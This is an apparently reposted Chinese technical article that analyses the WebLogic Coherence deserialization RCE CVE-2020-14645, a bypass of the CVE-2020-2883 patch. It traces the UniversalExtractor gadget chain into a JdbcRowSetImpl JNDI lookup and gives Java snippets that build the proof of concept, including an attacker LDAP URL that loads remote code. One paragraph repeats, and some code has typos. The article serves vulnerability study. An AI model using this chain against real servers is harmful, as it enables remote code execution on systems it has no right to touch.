WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎样的

这篇文章将为大家详细讲解有关WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎样的，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。

前言

Oracle七月发布的安全更新中，包含了一个Weblogic的反序列化RCE漏洞，编号CVE-2020-14645，CVS评分9.8。

该漏洞是针对于CVE-2020-2883的补丁绕过，CVE-2020-2883补丁将MvelExtractor和ReflectionExtractor列入黑名单，因此需要另外寻找一个存在extract且方法内存在恶意操作的类，这里用到的类为com.tangosol.util.extractor.UniversalExtractor,存在于Coherence组件。

CVE-2020-2883

先来回顾一下CVE-2020-2883的两个poc调用链

//poc1
 javax.management.BadAttributeValueExpException.readObject()
   com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
       java.util.concurrent.ConcurrentSkipListMap.cpr()
         com.tangosol.util.comparator.ExtractorComparator.compare()
           com.tangosol.util.extractor.ChainedExtractor.extract()
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
               Runtime.exec()

//poc2
java.util.PriorityQueue.readObject()
  java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
  java.util.PriorityQueue.siftDownUsingComparator()
  com.tangosol.util.extractor.AbstractExtractor.compare()
    com.tangosol.util.extractor.MultiExtractor.extract()
      com.tangosol.util.extractor.ChainedExtractor.extract()
        //...
        Method.invoke()
            //...
          Runtime.exec()

其本质上，都是通过ReflectionExtractor调用任意方法，从而实现调用Runtime对象的exec方法执行任意命令，但补丁现在已经将ReflectionExtractor列入黑名单，那么只能使用UniversalExtractor重新构造一条利用链，这里使用poc2的入口即CommonsCollections4链的入口进行构造。

CVE-2020-14645

为了方便一些纯萌新看懂，此处将会从0开始分析反序列化链（啰嗦模式警告），并且穿插一些poc构造时需要注意的点，先来看看调用栈。

从头开始跟进分析整个利用链，先来看看PriorityQueue.readObject()方法。

第792会执行for循环，将s.readObject()方法赋给queue对象数组,跟进heapify()方法。

这里会取一半的queue数组分别执行siftDown(i, (E) queue[i]);，实质上PriorityQueue是一个最小堆，这里通过siftDown()方法进行排序实现堆化，那么跟进siftDown()方法。

这里有个对于comparator的判定，我们暂时不考虑comparator的值是什么，接下来会使用到，我们先跟进siftDownUsingComparator()方法。

重点关注comparator.compare()方法，那么我们先来看看comparator是怎么来的。

是在PriorityQueue的构造函数中被赋值的，并且这里可以看到，queue对象数组也是在这里被初始化的。那么结合上述所分析的点，我们需要构造一个长度为2的queue对象数组，才能触发排序，进入siftDown()方法。同时还要选择一个comparator，这里选用ExtractorComparator。继续跟进ExtractorComparator.compare()方法。

这里将会调用this.m_extractor.extract()方法，让我们看看this.m_extractor是怎么来的。

可以看到，this.m_extractor的值是与传入的extractor有关的。这里需要构造this.m_extractor为ChainedExtractor，才可以调用ChainedExtractor的extract()方法实现串接extract()调用。因此，首先需要构造这样一个PriorityQueue对象：

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//这里chainedExtractor为ChainedExtractor对象，后续会说明chainedExtractor对象的具体构造

继续跟进ChainedExtractor.extract()方法，可以发现会遍历aExtractor数组，并调用其extract()方法。

可以看到，this.m_extractor的值是与传入的extractor有关的。这里需要构造this.m_extractor为ChainedExtractor，才可以调用ChainedExtractor的extract()方法实现串接extract()调用。因此，首先需要构造这样一个PriorityQueue对象：

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//这里chainedExtractor为ChainedExtractor对象，后续会说明chainedExtractor对象的具体构造

继续跟进ChainedExtractor.extract()方法，可以发现会遍历aExtractor数组，并调用其extract()方法。

此处aExtractor数组是通过ChainedExtractor的父类AbstractCompositeExtractor的getExtractors()方法获取到父类的m_aExtractor属性值。

所以，poc中需要这样构造m_aExtractor：

Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);

m_aExtractor具体的值需要怎么构造，需要我们继续往下分析。先回到我们所要利用到的UniversalExtractor，跟进其extract()方法。

此处由于m_cacheTarget使用了transient修饰，无法被反序列化，因此只能执行else部分，跟进extractComplex()方法。

这里看到最后有method.invoke()方法，oTarget和aoParam都是我们可控的，因此我们需要看看method的处理，跟进findMethod方法。

可以看到第477行可以获取任意方法，但是要进入if语句，得先使fExactMatch为true，fStatic为false。可以看到fStatic是我们可控的，而fExactMatch默认为true，只要没进入for循环即可保持true不变，使cParams为空即aclzParam为空的Class数组即可，此处aclzParam从getClassArray()方法获取。

显而易见，传入一个空的Object[]即可。回到extractComplex()方法，此时我们只要我们进入第192行的else语句中，即可调用任意类的任意方法。但此时还需要fProperty的值为false，跟进isPropertyExtractor()方法。

可惜m_fMethod依旧是使用transient修饰，溯源m_fMethod的赋值过程。

可以看到，由于this对象的原因，getValueExtractorCanonicalName()方法始终返回的是null，那么跟进computeValuExtractorCanonicalName()方法。

此处不难理解，如果aoParam不为null且数组长度大于0就会返回null，因此我们调用的方法必须是无参的（因为aoParam必须为null）。接着如果方法名sName不以 () 结尾，则会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES数组中的前缀开头，是的话就会截取掉并返回。

回到extractComplex方法中，在if条件里会对上述返回的方法名做首字母大写处理，然后拼接BEAN_ACCESSOR_PREFIXES数组中的前缀，判断clzTarget类中是否含有拼接后的方法。这时发现无论如何我们都只能调用任意类中get和is开头的方法，并且还要是无参的。

整理下我们可以利用的思路：

• 调用init()方法，对this.method进行赋值，从而使fProperty的值为false，从而进入else分支语句，实现调用任意类的任意方法。然而这个思路马上就被终结了，因为我们根本调用不了非get和is开头的方法！！！

• 被transient修饰的m_cacheTarget在extractComplex方法中被赋值

在ExtractorComparator.compare()方法中，我们知道extract方法能被执行两次，因此在第二次执行时，能够在UniversalExtractor.extract方法中调用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是这种方法也是行不通的，因为getMethod()获取的就是图上红框的中的method，很显然method依旧受到限制，当我们调用非 get 和 is 开头的方法时，findMethod 会返回 null。

• 只能走方法被限制的路线了，寻找所有类中以 get 和 is开头并且可利用的无参方法

get 和 is复现过Fastjson反序列化漏洞的小伙伴，应该清楚Fastjson的利用链寻找主要针对get和set方法，这时候就与我们的需求有重合处，不难想到JdbcRowSetImpl的JNDI注入，接下来一起回顾一下。

其connect方法中调用了lookup方法，并且DataSourceName是可控的，因此存在JNDI注入漏洞，看看有哪些地方调用了connect方法。

有三个方法调用了connect方法，分别为prepare、getDatabaseMetaData和setAutoCommit方法，逐一分析。

• prepare()

一开始就调用了connect方法，继续回溯哪里调用了prepare方法。

execute方法，应该是用于执行sql查询的

这个应该是用于获取参数元数据的方法，prepare()方法应该都是用于一些与sql语句有关的操作方法中。

• getDatabaseMetaData()

• setAutoCommit()

必须让this.conn为空，对象初始化时默认为null，因此直接进入else语句。其实this.conn就是connect方法，用于保持数据库连接状态。

回到connect方法，我们需要进入else语句才能执行lookup方法。有两个前提条件，this.conn为空，也就是执行connect方法时是第一次执行。第二个条件是必须设置DataSourceName的值，跟进去该参数，发现为父类BaseRowSet的private属性，可被反序列化。

那么，对于WebLogic这个反序列化利用链，我们只要利用getDatabaseMetaData()方法就行，接下来看看该怎么一步步构造poc。先从JdbcRowSetImpl的JNDI注入回溯构造：

JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare，因此需要对数组进行赋值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;

接着构造 UniversalExtract 对象，用于调用 JdbcRowSetImpl 对象的方法

UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);

紧接着将 UniversalExtract 对象装载进文章开头构造的 chainedExtractor 对象中

ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field为m_aExtractor

此处，还有一个小点需注意，一个在文章开头部分构造的 PriorityQueue 对象，需要构造一个临时 Extractor 对象，用于创建时的 comparator，此处以 ReflectionExtractor 为例。其次，PriorityQueue 对象需要执行两次 add 方法。

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");

回到 PriorityQueue 对象的 readObject 方法

首先需要能进入 for 循环，for 循环就得有 size 的值，size 值默认为 0，private 属性，可以通过反射直接设置，但是不想通过反射怎么办，回溯赋值过程。

在 offer 方法处获得赋值，而 offer 方法又是由 add 方法调用。（注意此处会执行 siftUp 方法，其中会触发 comparator 的 compare 方法，从而执行 extract 方法）。

不难理解，每 add 一次，size 加 1，根据上述 heapify 方法，只会从开头开始取一半的 queue 数组执行 siftDown 方法。所以 size 至少为 2，需要执行两次 add 方法，而不是 add(2) 一次。

至此，poc 的主体就构造完成，其余部分就不在此阐述了，当然构造方式有很多，此处为方便萌新，分析得比较啰嗦，poc 也比较杂乱，大家可以自行构造属于自己的 poc。

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